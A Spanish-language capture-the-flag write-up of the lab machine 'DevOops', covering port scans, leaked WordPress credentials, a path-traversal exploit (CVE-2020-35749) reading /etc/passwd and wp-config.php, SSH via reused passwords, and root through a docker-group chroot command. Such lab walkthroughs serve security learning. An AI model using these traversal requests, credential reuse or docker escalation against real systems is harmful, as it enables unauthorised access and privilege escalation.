CyberWave: DevOops Writeup | Easy

Table of Contents

CyberWave: DevOops Writeup

Welcome to my detailed writeup of the easy difficulty machine “DevOops” on CyberWave. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

TCP Enumeration

1rustscan -a 10.10.10.4 --ulimit 5000 -g
210.10.10.4 -> [22,80]
 1nmap -p22,80 -sCV 10.10.10.4 -oN allPorts
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-21 17:09 CET
 3Nmap scan report for 10.10.10.4
 4Host is up (0.027s latency).
 5
 6PORT   STATE SERVICE VERSION
 722/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0)
 8| ssh-hostkey:
 9|   2048 1f:ac:54:bc:02:1b:dd:5b:f3:fc:40:22:53:2e:2a:4a (RSA)
10|   256 d9:93:da:cf:fa:e9:a5:97:88:7f:fb:07:55:0e:4d:51 (ECDSA)
11|_  256 44:bd:56:bb:3c:b1:75:e9:e2:0c:03:73:03:fb:88:51 (ED25519)
1280/tcp open  http    Apache httpd
13| http-ls: Volume /
14| SIZE  TIME              FILENAME
15| -     2022-02-27 18:29  wordpress/
16|_
17|_http-server-header: Apache
18|_http-title: Index of /
19Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
20
21Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
22Nmap done: 1 IP address (1 host up) scanned in 13.91 seconds

UDP Enumeration

 1sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.10.10.4 -oN allPorts.UDP
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-21 17:09 CET
 3Nmap scan report for 10.10.10.4
 4Host is up (0.028s latency).
 5Not shown: 1494 open|filtered udp ports (no-response)
 6PORT      STATE  SERVICE
 7445/udp   closed microsoft-ds
 88010/udp  closed unknown
 917605/udp closed unknown
1022292/udp closed unknown
1151586/udp closed unknown
1257172/udp closed unknown
13
14Nmap done: 1 IP address (1 host up) scanned in 0.90 seconds

Después del escaneo inicial, podemos suponer que el vector de ataque va a ser por el servicio web expuesto en el puerto 80 ya que la versión de SSH no es vulnerable.

HTTP Enumeration

Con whatweb si intentamos acceder al recurso que vemos en /wordpress se nos redirecciona al dominio devoops.bsh, vamos a añadirlo al /etc/hosts

1whatweb http://10.10.10.4/wordpress
2http://10.10.10.4/wordpress [301 Moved Permanently] Apache, Country[RESERVED][ZZ], HTTPServer[Apache], IP[10.10.10.4], RedirectLocation[http://10.10.10.4/wordpress/], Title[301 Moved Permanently]
3http://10.10.10.4/wordpress/ [301 Moved Permanently] Apache, Country[RESERVED][ZZ], HTTPServer[Apache], IP[10.10.10.4], RedirectLocation[http://devoops.bsh/wordpress/], UncommonHeaders[x-redirect-by]
4ERROR Opening: http://devoops.bsh/wordpress/ - no address for devoops.bsh

Ahora si podemos lanzar un whatweb y nos interesa la versión de wordpress que es la 5.9.1 aparentemente por las etiquetas meta

1whatweb http://devoops.bsh/wordpress
2http://devoops.bsh/wordpress [301 Moved Permanently] Apache, Country[RESERVED][ZZ], HTTPServer[Apache], IP[10.10.10.4], RedirectLocation[http://devoops.bsh/wordpress/], Title[301 Moved Permanently]
3http://devoops.bsh/wordpress/ [200 OK] Apache, Country[RESERVED][ZZ], Email[office@example.com], HTML5, HTTPServer[Apache], IP[10.10.10.4], JQuery[3.6.0], MetaGenerator[WordPress 5.9.1], PoweredBy[Astra], Script[text/javascript], Title[Tech Job Board – DevOops | Tech Job Board], UncommonHeaders[link], WordPress[5.9.1]

Así se ve el sitio web. Write-up Image

Encontramos algunos usuarios, vamos a crearnos una lista de posibles nombres de usuario por si la necesitamos mas adelante. Write-up Image

 1cat -p users.txt
 2jeniffersmith
 3j.smith
 4jeniffer.s
 5jsmith
 6pameladuncan
 7p.duncan
 8pamela.d
 9pduncan
10stevetailor
11s.tailor
12steve.t
13stailor

Information Disclosure (exposed user credentials)

Enumerando por encima el wordpress, encontré que en el directorio /wp-content/uploads está habilitado el Directory Listing. Write-up Image

Y nos encontramos un archivo bastante interesante. Write-up Image

El archivo contiene lo siguiente.

1sarah
2vlVL6hcA4s1k

Tiene pinta de que son unas credenciales.

Probando estas credenciales en el panel de inicio de sesión en /wp-admin conseguimos iniciar sesión. Write-up Image

Esta cuenta no tiene permisos de administrador, por lo cual no podemos hacer la típica intrusión de editar el tema actual y ejecutar código…

Local File Inclusion

Desde el primer reconocimiento de la página, hemos visto que hay una funcionalidad para poder enviar tu CV y aplicar a un puesto de trabajo, esto obviamente WordPress no lo incluye por defecto por lo cual debe de ser un plugin, para buscar como es, vamos al menú administrativo del plugin y vamos a copiar y pegar la referencia del archivo. Write-up Image

Una búsqueda en Google nos revela cual es el plugin que se está utilizando, no necesariamente tiene que ser la versión que nos muestra Google, pero el plugin debe de ser ese. Write-up Image

En este menú, en el pie de página, encontramos una versión, pero al buscar por Google, vemos que la última versión es la 2.13.1 por lo cual esto es imposible. Write-up Image

Nos encontramos también con este PoC, explota un Local File Inclusion en la versión 2.9.3 de este plugin. Por probar no perdemos nada.

Sorprendentemente funciona, sinceramente he tenido suerte ya que no había detectado la versión del plugin y he probado por probar..

 1python3 lfi.py http://devoops.bsh/wordpress/ /etc/passwd sarah vlVL6hcA4s1k
 2
 3Y88b         /                888~~                     888          ,e,   d8
 4 Y88b       /  888-~88e       888___ Y88b  /  888-~88e  888  e88~-_   "  _d88__
 5  Y88b  e  /   888  888b ____ 888     Y88b/   888  888b 888 d888   i 888  888
 6   Y88bd8b/    888  8888      888      Y88b   888  8888 888 8888   | 888  888
 7    Y88Y8Y     888  888P      888      /Y88b  888  888P 888 Y888   ' 888  888
 8     Y  Y      888-_88"       888___  /  Y88b 888-_88"  888  "88_-~  888  "88_/
 9               888                                888
10			(CVE-2020-35749)
11	{ Coded By: Ven3xy  | Github: https://github.com/M4xSec/ }
12
13
14[+] Trying to fetch the contents from /etc/passwd
15
16
17root:x:0:0:root:/root:/bin/bash
18daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
19bin:x:2:2:bin:/bin:/usr/sbin/nologin
20sys:x:3:3:sys:/dev:/usr/sbin/nologin
21sync:x:4:65534:sync:/bin:/bin/sync
22games:x:5:60:games:/usr/games:/usr/sbin/nologin
23man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
24lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
25mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
26news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
27uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
28proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
29www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
30backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
31list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
32irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
33gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
34nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
35_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
36systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
37systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
38systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
39messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
40sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
41john:x:1000:1000:John Doe,,,:/home/john:/bin/bash
42systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
43mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false
44
45
46[+] Output Saved as: output.txt

De estos usuarios solo me interesa el usuario john ya que es el único que tiene una bash.

Mini Code Analysis

Antes de seguir quiero explicar de forma resumida que hace el PoC que hemos explotado.

Construye una URL maliciosa:

1wp-admin/post.php?post=application_id&action=edit&sjb_file=<ruta_del_archivo>

Y parece ser que el parámetro sjb_file es vulnerable a LFI, luego simplemente se realiza la petición de tipo GET y se consigue el contenido del archivo especificado.

Analizando el código de simple-job-board/includes/class-simple_job_board_resume_download_handler.php vemos que en ningún momento se filtra el parámetro sjb_file y directamente se construye una ruta de archivo utilizando el valor de este parámetro. Write-up Image Para hacerlo manualmente, simplemente hacemos una petición GET (desde el navegador mismamente) a esta ruta (por ejemplo)

1http://devoops.bsh/wordpress/wp-admin/post.php?post=application_id&action=edit&sjb_file=../../../../etc/passwd

Al hacerlo se nos descarga el archivo deseado. Write-up Image

Y simplemente podemos leerlo.

 1cat -p /home/kali/Downloads/passwd
 2root:x:0:0:root:/root:/bin/bash
 3daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
 4bin:x:2:2:bin:/bin:/usr/sbin/nologin
 5sys:x:3:3:sys:/dev:/usr/sbin/nologin
 6sync:x:4:65534:sync:/bin:/bin/sync
 7games:x:5:60:games:/usr/games:/usr/sbin/nologin
 8man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
 9lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
10mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
11news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
12uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
13proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
14www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
15backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
16list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
17irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
18gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
19nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
20_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
21systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
22systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
23systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
24messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
25sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
26john:x:1000:1000:John Doe,,,:/home/john:/bin/bash
27systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
28mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false

Exfiltrating wp-config.php

Podemos revisar la configuración del apache (sabemos que es un servidor web apache ya que antes whatweb lo ha reportado) y vemos que el servidor web se aloja en la ruta por defecto. Write-up Image

Podemos intentar leer el wp-config.php en /var/www/html/wordpress/wp-config.php y conseguimos ver unas credenciales de acceso a la base de datos. Write-up Image

Abusing Credentials Reuse -> Foothold

Podemos probar si se reutilizan credenciales con el usuario john que hemos detectado antes y vemos que si.

 1sshpass -p 'Cwz+hJ672CP' ssh john@devoops.bsh
 2Linux devoops 4.19.0-26-amd64 #1 SMP Debian 4.19.304-1 (2024-01-09) x86_64
 3
 4The programs included with the Debian GNU/Linux system are free software;
 5the exact distribution terms for each program are described in the
 6individual files in /usr/share/doc/*/copyright.
 7
 8Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
 9permitted by applicable law.
10john@devoops:~$ id
11uid=1000(john) gid=1000(john) groups=1000(john),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),998(docker)

Podemos leer la flag de usuario.

1john@devoops:~$ cat user.txt
2a8fb899a576d...

Privilege Escalation

Abusing docker group

Vemos que el usuario john pertenece al grupo docker

1john@devoops:/opt/containerd$ id
2uid=1000(john) gid=1000(john) groups=1000(john),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),998(docker)

Existe una forma de escalar privilegios cuando un usuario pertenece a este grupo. Primero vamos a ver si tenemos imágenes en docker o tengo que descargarme una…

1john@devoops:/opt/containerd$ docker images
2REPOSITORY   TAG       IMAGE ID       CREATED       SIZE
3alpine       latest    c059bfaa849c   2 years ago   5.59MB

Tenemos una imagen de alpine, nos sirve perfectamente para escalar privilegios.

Podemos consultar GTFOBins que también contempla algunas posibilidades teniendo permisos sobre el binario de docker

Y vemos el siguiente comando, si lo ejecutamos se ejecutará un contenedor alpine.

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Al montar / en /mnt y usar chroot, el contenedor puede interactuar directamente con los archivos del sistema host y ya habríamos escalado privilegios.

 1john@devoops:/opt/containerd$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
 2# ls -la /root
 3total 36
 4drwx------  4 root root 4096 Mar  5  2022 .
 5drwxr-xr-x 18 root root 4096 May  7 17:34 ..
 6-rw-------  1 root root 1649 Feb 24  2022 .bash_history
 7-rw-r--r--  1 root root  597 Feb 24  2022 .bashrc
 8drwx------  3 root root 4096 Mar  5  2022 .gnupg
 9drwxr-xr-x  3 root root 4096 Feb 24  2022 .local
10-rw-------  1 root root  417 Feb 27  2022 .mysql_history
11-rw-r--r--  1 root root  148 Aug 17  2015 .profile
12-r--r-----  1 root root   33 Feb 24  2022 root.txt

Si queremos pivotar a root en la máquina anfitriona, podríamos asignar el bit de SUID al binario /bin/bash y lanzarnos una sesión privilegiada con bash -p, pero como estoy en un entorno compartido, no lo voy a hacer.

Podemos leer la flag de root

1# cat /root/root.txt
25b887382629cc...

¡Y ya estaría!

Happy Hacking! 🚀

#CyberWave   #DevOops   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Reverse Shell   #Privilege Escalation   #RCE   #Exploit   #Linux   #HTTP Enumeration   #Information Disclosure   #Exposed Credentials   #Local File Inclusion   #Code Analysis   #Abusing Credentials Reuse   #Abusing Docker